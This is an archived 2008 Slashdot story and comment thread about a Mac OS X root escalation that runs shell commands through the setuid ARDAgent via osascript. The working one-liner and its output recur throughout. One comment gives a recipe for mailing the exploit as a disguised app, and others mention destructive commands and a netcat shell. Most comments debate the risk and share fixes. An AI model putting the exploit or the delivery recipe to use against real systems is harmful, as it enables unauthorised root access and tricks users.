Stories
Slash Boxes
Comments

News for nerds, stuff that matters

Slashdot Log In

Log In

Create Account  |  Retrieve Password

Mac OS X Root Escalation Through AppleScript

Posted by timothy on Wed Jun 18, 2008 03:39 PM
from the oh-snap-crispy-apples dept.
An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
+ -
story

Related Stories

[+] How to Save Mac OS X From Malware 222 comments
eXchange writes "Well-known hacker Dino Dai Zovi has written an article at ZDNet discussing last week's discovery of a critical threat to Mac OS X, and another announcement of a Trojan horse exploiting this discovery. He suggests that Snow Leopard, or Mac OS X 10.6, should integrate more robust means of preventing malware attacks. Some of the suggestions he has include mandatory code-signing for kernel extensions (so only certified kernel extensions can run), sandbox policies for Safari, Mail, and third-party applications (so these applications cannot do anything to the system), and some lower-level changes, such as hardware-enforced Non-eXecutable memory and address space layout randomization."
[+] Two Trojans For Mac OS X 326 comments
I Don't Believe in Imaginary Property writes "F-Secure is reporting that there are two new Mac OS X trojans. The first is just a proof-of-concept from the MacShadows people that takes advantage of the unpatched ARDAgent vulnerability to get root access when run by the user. The second relies on social engineering: it's a poker game that requests the user's password, claiming to have detected a 'corrupt preference file.' It then takes control of the computer. Now that the source of the proof-of-concept is publicly available, we can expect that future trojans won't just politely request your password."
This discussion has been archived. No new comments can be posted.
Display Options Threshold:
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
  • by dch24 (904899) on Wednesday June 18 2008, @03:44PM (#23844951) Journal
    ARD = Apple Remote Desktop You can remove it by following these instructions [macosxhints.com].
  • Physical access? (Score:3, Insightful)

    by Menkhaf (627996) on Wednesday June 18 2008, @03:45PM (#23844973)
    Could somebody explain how running a script requires physical access?
    • Re:Physical access? (Score:5, Informative)

      by pudge (3605) * <pudge&slashdot,org> on Wednesday June 18 2008, @03:59PM (#23845239) Homepage Journal
      The AppleScript requires an account to be logged in at the console. Granted, it's possible to also do that remotely, but you still need to have the console avilable via VNC etc.
      • Re:Physical access? by aliquis (Score:1) Wednesday June 18 2008, @04:10PM
        • Re:Physical access? (Score:5, Informative)

          by pudge (3605) * <pudge&slashdot,org> on Wednesday June 18 2008, @04:11PM (#23845457) Homepage Journal

          A terminal isn't enough?
          Correct.
          • Oh good by GradiusCVK (Score:1) Wednesday June 18 2008, @07:21PM
          • Re:Physical access? (Score:4, Interesting)

            by Tokerat (150341) on Thursday June 19 2008, @01:23AM (#23851269) Journal
            I'm going to burn some mod points and ask why this isn't possible if you SSH into an OS X box. It's fair to link to an explanation if I've missed something, and no, this is not typical sarcastic geek doubt, I'd genuinely like to know.
          • Re:Physical access? by DiLLeMaN (Score:2) Thursday June 19 2008, @11:36AM
          • Re:Physical access? by pudge (Score:2) Wednesday June 18 2008, @08:21PM
            • Re:Physical access? by FishWithAHammer (Score:1) Wednesday June 18 2008, @11:17PM
            • Re:Physical access? by Macka (Score:2) Thursday June 19 2008, @03:27AM
              • My mistake (Score:5, Informative)

                by Macka (9388) on Thursday June 19 2008, @03:45AM (#23852031)
                Ah, now I understand what you meant. I just SSH'd into a headless Mac Mini I have and tried it. It kicks out the message:

                pebbles: ~ $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
                _RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
                Then after a timeout delay it returns with an error:

                23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)

                So someone has to be logged into the Desktop at the same time the command is issued (even if issued remotely) and I'm guessing that the account the remote user is logged into probably has to be the same account the desktop user is using.

                So Xserve servers should be immune to this via SSH, unless someone else is actively using Remote Desktop at the same time. Interesting!

                • 1 reply beneath your current threshold.
          • 1 reply beneath your current threshold.
        • Re:Physical access? (Score:5, Informative)

          by tverbeek (457094) on Wednesday June 18 2008, @06:45PM (#23847579) Homepage
          A remote terminal session doesn't get you access to the OS X GUI, which is where AppleScript is found.
          • Re:Physical access? (Score:5, Informative)

            by Firehed (942385) on Wednesday June 18 2008, @08:15PM (#23848625) Homepage
            True. But presumably you could write the script in any of the command-line editors and save it to the desktop or something, at which point the user could click on it.

            Not that it matters. If you have that level of access, you're already in a position to do more damage than what you could do through this exploit, by the sounds of it.
            • Re:Physical access? (Score:5, Informative)

              by Jasin Natael (14968) on Wednesday June 18 2008, @10:31PM (#23850007)
              The user wouldn't need to do anything. If you log in via SSH as a limited user, you could (theoretically) use OS X's "open" command to launch the file as if it was clicked, from anywhere in the filesystem. The catch is that your SSH login must be the current user of the Window Server (locally logged-in).
            • Re:Physical access? by beelsebob (Score:2) Thursday June 19 2008, @02:43AM
            • Re:Physical access? by Ilgaz (Score:2) Thursday June 19 2008, @10:09AM
          • Re:Physical access? by Sentry21 (Score:3) Thursday June 19 2008, @11:20AM
      • Re:Physical access? by raynet (Score:2) Thursday June 19 2008, @05:35AM
      • Re:Physical access? by mobius8 (Score:1) Thursday June 19 2008, @03:03PM
    • Even better question by Moraelin (Score:3) Thursday June 19 2008, @04:26AM
      • by TrekkieGod (627867) on Thursday June 19 2008, @01:00PM (#23861167) Homepage Journal

        My even better question is: why is "bah, it requires physical access" seen as an automatic "don't worry about it" around these parts?...Workstations at work have lots of people who can log into them...Plus there are a lot of people who can physically get near any computer, up to CEO level. Like, say, the janitors.

        The reason that requiring physical access is seen as no big deal is because all that stuff you're worried about is something I can do without the need of any exploits.

        Got a machine with literally any operating system? All I need is to reboot the computer with a linux live cd (or usb thumb drive) and I get read / write access to everywhere. From there I can plant trojans, read your files, do whatever.

        Got a Linux machine? I can reboot and use grub to boot into single-user mode. There you go, I'm root. I can do all the of the above again.

        The only way to have any security at the physical level is with encryption. And when we see encryption exploits, we do get hyped up about it. Even with encryption, more security measures still need to be taken at the physical level. A physical keylogger between the keyboard and computer could be installed to discover typed passwords, etc.

        That said, an exploit is an exploit, and it should be treated as such. Physical-access only just means there's less to worry about.

  • by jeffmeden (135043) on Wednesday June 18 2008, @03:48PM (#23845037) Homepage Journal

    On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
    Malware arguably (one of the greatest scourges of modern computing) spreads by just that, local root vulnerabilities (also known as 'standard procedure' in the Windows community). What makes this exploit so useless, given that all the perpetrator has to do is send it out to enough people hoping just a few will run it?

    It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.
  • Physical access? (Score:1, Insightful)

    by fyleow (1098657) on Wednesday June 18 2008, @03:49PM (#23845059)
    I'm not familiar with AppleScript but that doesn't sound like it requires physical access to me. Can't you SSH or remote desktop into an OS X server and run that command to get root access? That seems like a serious vulnerability to me.
  • by pandrijeczko (588093) on Wednesday June 18 2008, @03:53PM (#23845113)
    Yes, I fully accept that an exploit requiring physical access to a machine is a much lower security risk than one that can be carried out from a remote location.

    But Apple have made exactly the same marketing mistakes that Microsoft did in selling their respective OSes as ones that can be used easily by people with no knowledge of computers - people still click on attachments they shouldn't, still give their passwords to phishing web sites and still don't install regular security updates and scan their PCs for virii.

    And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.

    So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.

  • by Moridineas (213502) on Wednesday June 18 2008, @03:53PM (#23845115) Journal

    On the other hand, since this exploit seems to require physical access to the machine to be rooted
    It does? Am I missing something? I just SSHed to my laptop and succesfully tested the above command. So remote shell access works. Clever people could probably figure out some other ways of triggering an applescript to run without there being any physical machine access, I don't know.

    Admittedly most OS X users probably don't have any kind of remote shell access enabled, but this does seem to be a problem...
    • Re:Physical access? by Medieval_Gnome (Score:3) Wednesday June 18 2008, @03:55PM
    • by Anonymous Coward on Wednesday June 18 2008, @04:01PM (#23845279)
      You don't need any sort of remote login, all you need is a client (web browser, Quicktime, Flash, etc.) buffer overflow that you can use to start a shell...
    • Re:Physical access? by MyDixieWrecked (Score:3) Wednesday June 18 2008, @04:07PM
      • Re:Physical access? (Score:5, Interesting)

        by MyDixieWrecked (548719) on Wednesday June 18 2008, @04:12PM (#23845465) Homepage Journal
        Actually... interesting.

        I wasn't switched to via fastuserswitching, but I do lock my screen. that seems to have an impact on it, too.

        I ssh'd into my box at home and running this was successful.

        fwiw, osascript doesn't work if the user isn't logged into aqua. I've tried writing volume controller scripts and I tried scripting Unison and other applications and they don't work if you're not logged in physically at the machine.

        So basically, an exploit would need to be fired by the user or by something the user did (ie: surf to a website).

        This is interesting.
      • Re:Physical access? by generica1 (Score:1) Wednesday June 18 2008, @04:43PM
      • Re:Physical access? by Henriok (Score:2) Wednesday June 18 2008, @04:55PM
      • Re:Physical access? by mini me (Score:1) Wednesday June 18 2008, @10:24PM
      • Re:Physical access? by JustCallMeRich (Score:1) Wednesday June 18 2008, @09:07PM
      • 1 reply beneath your current threshold.
    • Re:Physical access? by Tomas_Bakke (Score:1) Thursday June 19 2008, @07:57AM
  • by rritterson (588983) on Wednesday June 18 2008, @04:01PM (#23845275)
    Okay, so I tested it and the whoami returns 'root'.

    However, I also logged out of my account and into an account that has no permissions to access my regular home directory (normally I log in with short name "me"), then ran:

    osascript -e 'tell app "ARDAgent" to do shell script "touch /Users/me/Downloads/test.txt"'

    It doesn't do anything for a long time, and then returns

    execution error: ARDAgent got an error: AppleEvent timed out. (-1712)


    Same thing happens if I bundle the command into a sh file and try to execute that instead. I am not a hacker, but it would seem, at least at first glance, that ARDAgent is not entirely privileged.
  • Yes, but does it run on Linux^H^H^H^H^Hcoffee-makers?
  • by Anonymous Coward on Wednesday June 18 2008, @04:15PM (#23845521)

    Never!

    It does not matter if the service is enabled or not, osascript will execute the application for you.

    It's not like we don't have a simple workaround:
    sudo chmod 000 /System/Library/CoreServices/RemoteManagement/ARDAgent.app

    Perhaps you might consider evaluating the rest of the .app directories and /usr/bin and /usr/sbin for suid-type binaries which should be removed or disabled if you in any-way allow third-parties to execute local commands -- or are just paranoid.
    • That's it:

      % ls -l /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/
      -rwsr-xr-x 1 root wheel 1439952 Nov 15 2007 ARDAgent

      Time to run find(1) to see if there are any other things like this.

      And, I should say, as a so-call Apple fanboy, I am deeply embarrassed. It's been decades that people have known to watch out for stuff like this.

      • One more, maybe. (Score:4, Informative)

        by bill_mcgonigle (4333) * on Wednesday June 18 2008, @05:34PM (#23846639) Homepage Journal
        Time to run find(1) to see if there are any other things like this.

        Assumptions:
        AppleScripting is only applicable to .app's
        "do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.

        Results:

        %sudo find /System/ -type f -ls | grep ' -rws' | grep MacOS | grep '\.app'
        365120 2864 -rwsr-xr-x 1 root wheel 1463076 Oct 17 2007 /System//Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
        376733 120 -rws--x--x 1 root daemon 61076 Jul 11 2007 /System//Library/Filesystems/AppleShare/check_afp.app/Contents/MacOS/check_afp
        Now, I have one of the machines where this exploit isn't working:

        %osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
        23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
        So, somebody out there who can get it to work, see if:

        %osascript -e 'tell app "check_afp" to do shell script "whoami"'
        works or not. That might need full pathing, I'm not sure.
      • Re:Insecure root-owned binaries on unix? by clang_jangle (Score:2) Wednesday June 18 2008, @07:16PM
      • Re:Insecure root-owned binaries on unix? by Enoxice (Score:2) Thursday June 19 2008, @09:23AM
      • 2 replies beneath your current threshold.
  • by AgentOJ (320270) on Wednesday June 18 2008, @04:44PM (#23845947)
    This code could easily be wrapped into the preflight scripts for an Installer package in OS X, or integrated into any piece of malware to escalate itself to root without any user interaction beyond downloading it and launching it. In this sense, the arguments against the DNSChanger Trojan Horse of "it requires an admin password to be installed" becomes null and void. This is fairly serious, folks. One-click privilege escalation is way too easy for script-kiddies and professional malware distributers alike to integrate into their nasty programs.
  • It's a good thing that it's only a local exploit.

    OSX is so secure It's impossible for Safari to go a malicious Website and download a malicious installer to your Mac's "downloads" directory disquised as a legitimate installer (say Firefox 3) and remotely root your box using this local exploit and install a rootkit or virus when you confuse it with the legitimate installer.

    Oh wait... [dhanjani.com]

     
  • by tickell (889188) on Wednesday June 18 2008, @05:33PM (#23846637) Homepage
    sudo chmod 755 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent Sheesh ....
  • After about 20 seconds waiting:
    23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
    I'm so not impressed.
  • Intellectual Honesty (Score:5, Interesting)

    by JeffSpudrinski (1310127) on Wednesday June 18 2008, @05:41PM (#23846729)
    Firstly, I want to say I'm impressed.

    I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.

    I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
    I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).

    There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.

    This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).

    Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.

    There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).

    I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.

    Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.

    p.s. I love the "security is like sex" comment above. Well put.
  • by omnipotus (214689) <jason.lunn@gmail.com> on Wednesday June 18 2008, @06:01PM (#23846991)
    23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712) What did I do to magically protect my machine?
  • by theolein (316044) on Wednesday June 18 2008, @06:21PM (#23847235) Journal
    1. Open Script Edtor
    2. type in the following code

    tell application "Terminal"
    do script "osascript -e 'tell app \"ARDAgent\" to do shell script \"whoami\"';"
    end tell

    3.Save as NubileRussianTennisPlayer.app
    4.Attach as non Windows friendly attachment to a new mail in Mail.app
    5.Send to as many hopefully clueless Mac users as possible.
    6.Profit
  • by Peganthyrus (713645) on Wednesday June 18 2008, @06:39PM (#23847493) Homepage
    Out of three tries:

    - the first one just hung; I ctrl-c'd it after a while.
    - the second one worked.
    - the third one died, with the execution error: ARDAgent got an error: AppleEvent timed out. (-1712) error others are reporting.

    (overloaded old 1.25Ghz G4, running 10.4.11 (latest version of Tiger unless they released an update in the past week).

    I'm guessing that the osascript command is only willing to wait so long - and my machine's speed and load is such that it's right on the cusp of that time.

    Renaming it seemed to work for the moment, though I'm sure it also breaks legit use of Remote Desktop:

    $ sudo mv /System/Library/CoreServices/RemoteManagement/ARDAgent.app /System/Library/CoreServices/RemoteManagement/notARDAgent.app
    Password: XYZZY
    $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'18:19: syntax error: No user interaction allowed. (-1713)
    $ osascript -e 'tell app "wsiofth" to do shell script "whoami"'
    17:18: syntax error: No user interaction allowed. (-1713)

  • by wzinc (612701) on Wednesday June 18 2008, @06:53PM (#23847659)
    23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

    Maybe it's an Intel-only thing.
  • by pbjones (315127) on Wednesday June 18 2008, @07:00PM (#23847739)
    use the 'password reset' utility on the install disk,
  • Nope, not here (Score:2, Informative)

    by clang_jangle (975789) * on Wednesday June 18 2008, @07:02PM (#23847765)
    Here's the output I get on my Mac (powerpc running os x Tiger version 10.4.11) :

    23:78: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)


    Doesn't look too scary to me. Some kind of hoax maybe? :)
  • by That's What She Said (1289344) on Wednesday June 18 2008, @07:05PM (#23847799)
    There's got to be a temporary solution, while we wait for Apple to fix it.

    I don't use Screen Sharing, so I assume sudo chmod 4744 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent will do the trick, huh?

    I think this approach is better than deleting or compressing ARDAgent... Is it?

    For those that use Screen Sharing, is there a fix?
  • by thethibs (882667) on Wednesday June 18 2008, @07:21PM (#23847969) Homepage

    If you have physical access to a machine and the disk isn't encrypted, you can get root. How dense do you have to be to find this surprising, or even mildly interesting?

  • by TheNetAvenger (624455) on Wednesday June 18 2008, @07:39PM (#23848203)
    On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.

    What about non personal deployments?

    Like corporate installations?
    Kiosk installations?
    Any small business that wants to secure a machine?
    How about a class room that you want kiddies to run games but not wipe the OS?

    Physical access MEANS if they can access the hardware (inside the case). It DOES NOT mean typing something on the freaking keyboard, when logged in as a low level user.

    In the IT world you password lock boot media, lock cases,etc. If an IT person can't secure a machine without removing the keyboard, there MIGHT be a security problem.

    (SlashDot Editors? WTF?)
  • Macs come from the factory with the root account disabled--a user has to manually enable it by using the Directory Utility (or System Preferences in earlier versions of OS X). I doubt that many clueless newbies have done this and clueful oldies should know better since there is little reason to run as root under OS X.

    So, can someone explain to me how an exploit can get root of there's no root account?

  • by billcopc (196330) <vrillco@yahoo.com> on Wednesday June 18 2008, @08:54PM (#23849057) Homepage
    Okay, so this is a local root escalation.

    #1. How many Apple boxes are used for servers ?

    aaaaand

    #2. How many Apple users don't already have local root access ?

    I'm honestly asking, because I have very little experience with Macs in the workplace. How often will one see a Mac user that doesn't have root access ? In the Windows world, it's very common with Active Directory networks and locked-down corporate desktops... is the same true of Apple shops ?
  • by actionbastard (1206160) on Wednesday June 18 2008, @09:18PM (#23849317)
    chmod 660 /usr/bin/osascript
    All better now.
    Apple fanbois can now exhale.
  • by AEton (654737) on Wednesday June 18 2008, @09:22PM (#23849363)
    Item TS1448 [apple.com] in the Apple support knowledge base addresses this issue and is dated June 6, 2008. The issue was reported by users as early as October [macrumors.com].

    Users noticed in October that Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program (along with several others) because it was user-executable and setuid root. None of the users seemed to understand exactly what this meant...

    Apple's reported fix, and I am not making this up:

    The resolution:
    You can safely ignore these messages. They are accurate but not a cause for concern.

    The entire text below, in case Apple deletes it:
      Mac OS X 10.5: Disk Utility's Repair Disk Permissions reports issues with SUID files

            * Last Modified: June 06, 2008
            * Article: TS1448

            * Old Article: 306925

    Symptoms

    The following messages may appear in the Disk Utility log window when repairing disk permissions.

    Warning: SUID file "usr/libexec/load_hdi" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/Resources/DiskManagementTool" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/Locum" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/readconfig" has been modified and will not be repaired.

    Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/writeconfig" has been modified and will not be repaired.

    Warning: SUID file "usr/libexec/authopen" has been modified and will not be repaired.

    Warning: SUID file "System/Library/CoreServices/Finder.app/Contents/Resources/OwnerGroupTool" has been modified and will not be repaired.

    Warning: SUID file "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent" has been modified and will not be repaired.

    "Any message that starts with: 'ACL found but not expected on...'."
    Products Affected

    Mac OS X 10.5
    Resolution

    You can safely ignore these messages. They are accurate but not a cause for concern.

  • by userw014 (707413) on Wednesday June 18 2008, @10:58PM (#23850239)

    I tried it and got:

    execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)

    This is on MacOSX 10.5.3 (9D34) Darwin 9.3.0, Power PC . I have "Remote Login" and "Remote Management" enabled. "Screen Sharing" is under the control of Remote Management.

    Haven't tried it on my Intel Mac, or my iMac G5/Tiger . (The iMac stays at Tiger for BitPim and a bunch of games for the kids.)

  • by patio11 (857072) on Wednesday June 18 2008, @11:50PM (#23850665)
    Mac: Oh %$#& %$#& %$#& %$#&.

    PC: I can relate.

    Mac: No!! %$#& %$#& %$#&

    PC: Don't feel so glum, Mac, it happens to everyone once in a while. Look at it this way -- its a sign you're growing up.

    Mac: NOOOOOOOOOOOOOOOOOOOOOOOOOO.

    PC: You know, they can do wonderful things these days with firewall software.

    Mac: I want to cut myself.

    PC: Not a good idea as a root user, Mac.

    Mac: *glowers*

    PC: I only kid because I love you.
  • Fix using Info.plist (Score:5, Informative)

    by jediknil (1090345) on Thursday June 19 2008, @01:07AM (#23851171) Homepage

    This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)

    <key>NSAppleScriptEnabled</key>
    <string>YES</string>

    That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.

    P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.

    • Re:Fix using Info.plist by foo4thought (Score:1) Thursday June 19 2008, @09:56AM
      • by mzs (595629) on Thursday June 19 2008, @11:53AM (#23859773)
        Hmm, this works for me and is persistent across runs. Do this as an admin user:

        $ sudo defaults write /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info NSAppleScriptEnabled YES
        $ sudo plutil -convert xml1 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist
        $ sudo chmod 644 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Info.plist

        The NSAppleScriptEnabled seems to force the use of the standard applescript dictionary which lacks the "do shell script" action. This is what you get when you try again:

        $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
        23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
        $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
        23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
      • Re:Fix using Info.plist by jediknil (Score:1) Friday June 20 2008, @01:35AM
    • Re:Fix using Info.plist by bitshark (Score:1) Thursday June 19 2008, @09:58AM
  • by bitshark (991435) on Thursday June 19 2008, @01:25AM (#23851279)
    I've compiled and posted a video of this in action and mixed in a bit of NetCat, thus providing an interactive shell for convenience. Check it out at http://fieryferret.com/ard_hack/ [fieryferret.com]
  • by codeboost (603798) <`moc.oohay' `ta' `tsoobedoc'> on Thursday June 19 2008, @04:21AM (#23852175)

    On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
    That is, if the intruder is a thief who visits your home while you're away. However, if the intruder is a business associate or 'friend', or girlfriend who runs this exploit while you're answering nature's call or visiting the fridge to get some more beer, it's a bit more serious ;).
  • by hack101 (1007783) on Thursday June 19 2008, @05:22AM (#23852599) Homepage
    Confirmed that anyone logged in as Guest (supposed to be a low-privilege account) can use this exploit to get to root.
    macbookpro:~ Guest$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
    root

    Next time your at one of those shows where they have supposedly locked-down machines for webmail etc you know how much to trust them...
  • by sofla (969715) on Thursday June 19 2008, @08:10AM (#23854335)
    Given that the exploit requires ARD the 50% statistic seems unlikely to me. At the very least, I seem to be in the other 50%:

    osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

    23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
  • by gozar (39392) on Thursday June 19 2008, @08:20AM (#23854553) Homepage
    I just tried this on an Intel Macbook running 10.5.3 and a PPC iMac with 10.4.11.
    • Login in to Macbook as a user with administrator access, ran it from a terminal:
      root
    • ssh'd into Macbook as standard user, administrator user logged into Aqua:
      23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
    • ssh'd into the iMac as an administrator user, a standard user is logged into Aqua:
      kCGErrorRangeCheck : Window Server communications from outside of session allowed for root and console user only INIT_Processeses(), could not establish the default connection to the WindowServer.Abort trap
    • ssh'd into the iMac as a standard user, standard use is logged into Aqua:
      23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)

    So apparently this only works when an administrator user is logged into the machine, so the effects should be minimal. At the very least, if you leave your machine open, anyone can open a terminal and get root without knowing your password.

    I also wasn't able to get it to open any application as root, such as: osascript -e 'tell app "ARDAgent" to do shell script "open -a \"System Preferences.app\""';

    • 1 reply beneath your current threshold.
  • by Anonymous Coward on Thursday June 19 2008, @08:39AM (#23855009)
    Why not just remove the setuid bit?

    cd /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/
    sudo chmod 755 ARDAgent

    -> osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
    not_root
    ->
  • the osascript command should run whatever commands as the user so it should setuid whatever app its sending the apple event, (in other words setuid what ever its telling "to do shell script" to the user osascript is running as)
  • What other applications running with elevated privileges accept random Applescript from any random yobbo?

    Most commands I've tried respond with "syntax error: No user interaction allowed. (-1713)".
  • by blast3r (911514) on Monday June 23 2008, @08:19AM (#23902331)
    "since this exploit seems to require physical access to the machine to be rooted," Excuse me but this is absolutely false. Anyone that has remote access to this system as a regular user can launch the exploit. Are you saying that you have to be actually sitting at the keyboard to run Apple Script? !!???
  • by TexPhoto (1311323) on Monday June 23 2008, @09:48AM (#23903451)
    OK, I am interested in this, but having a little trouble understanding what this exploit can do. I ran the default script, and yes, it did return "root". But, can it do practical things? Can it create a user? Reveal/change passwords for existing users? Delete files? Can it run the dreaded rm *.*? I have two powerbooks sitting around that have leopard I could blow away if someone can suggest commands to run. I'll report the results.
  • I dunno if anyone's actually looked at this, but it's a lot worse than "requires physical access". For example...

    1) Any program running on your system automatically can run AppleScript.
    2) Any system configured to do load sharing via Xgrid can have commands injected that will do this sort of thing.
    3) Anyone who can access the machine from remote can do it, including via VNC.

    osascript -e 'tell app "ARDAgent" to run shell script "chmod -r ugo-rwx /System/Library/RemoteManagement/ARDAgent.app"'

    but re-run it after doing any kind of "repair permissions" on the volume.

  • Re:ARDagent (Score:5, Informative)

    by Medieval_Gnome (250212) <medgno@@@medievalgnome...org> on Wednesday June 18 2008, @03:52PM (#23845095) Homepage
    I might be misinterpreting you, so I apologize if I am. However, it sounds like you're saying that in order to have this code work, "Screen Sharing" needs to be enabled in the Sharing preferences. This is not true.

    Even as a normal user on my mac, the exploit code works.
    • Re:ARDagent by cunamara (Score:1) Wednesday June 18 2008, @09:20PM
  • by pudge (3605) * <pudge&slashdot,org> on Wednesday June 18 2008, @03:54PM (#23845141) Homepage Journal

    Many people have sshd running as well, so it doesn't quite have to be local. Just need a shell.


    Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)

    Nope. You cannot do it via SSH unless that account is already logged in physically, at the console.

    [pudge@bourque ~]$ ls -l /etc/test1
    ls: /etc/test1: No such file or directory
    [pudge@bourque ~]$ touch /etc/test1
    touch: /etc/test1: Permission denied
    [pudge@bourque ~]$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test1"'
    [pudge@bourque ~]$ ls -l /etc/test1
    -rw-rw-rw- 1 root wheel 0 Jun 18 11:27 /etc/test1
    versus:

    [pudge@bourque ~]$ ssh maintenance@localhost
    bourque:~ maintenance$ ls -l /etc/test2
    ls: /etc/test2: No such file or directory
    bourque:~ maintenance$ touch /etc/test2
    touch: /etc/test2: Permission denied
    bourque:~ maintenance$ osascript -e 'tell app "ARDAgent" to do shell script "touch /etc/test2"'
    _RegisterApplication(), FAILED TO establish the default connection to the WindowServer, _CGSDefaultConnection() is NULL.
  • MOD PARENT DOWN (Score:5, Informative)

    by Moridineas (213502) on Wednesday June 18 2008, @03:56PM (#23845189) Journal
    Other reply -- Medieval_Gnome -- is absolutely correct. Unless you've DELETED by hand the Apple Remote Desktop files, the exploit works. I do not have ARD enabled, and the exploit works.
  • by Anonymous Coward on Wednesday June 18 2008, @04:00PM (#23845263)
    who needs a source, it works. tried on my mac, output is: root

    so i tried replacing "whoami" with "rm -rf /" and

    !@#ca$a%H&(
    +++NO CARRIER
  • Re:ARDagent (Score:2, Informative)

    by Barrie_rdv (1236634) on Wednesday June 18 2008, @04:02PM (#23845287)
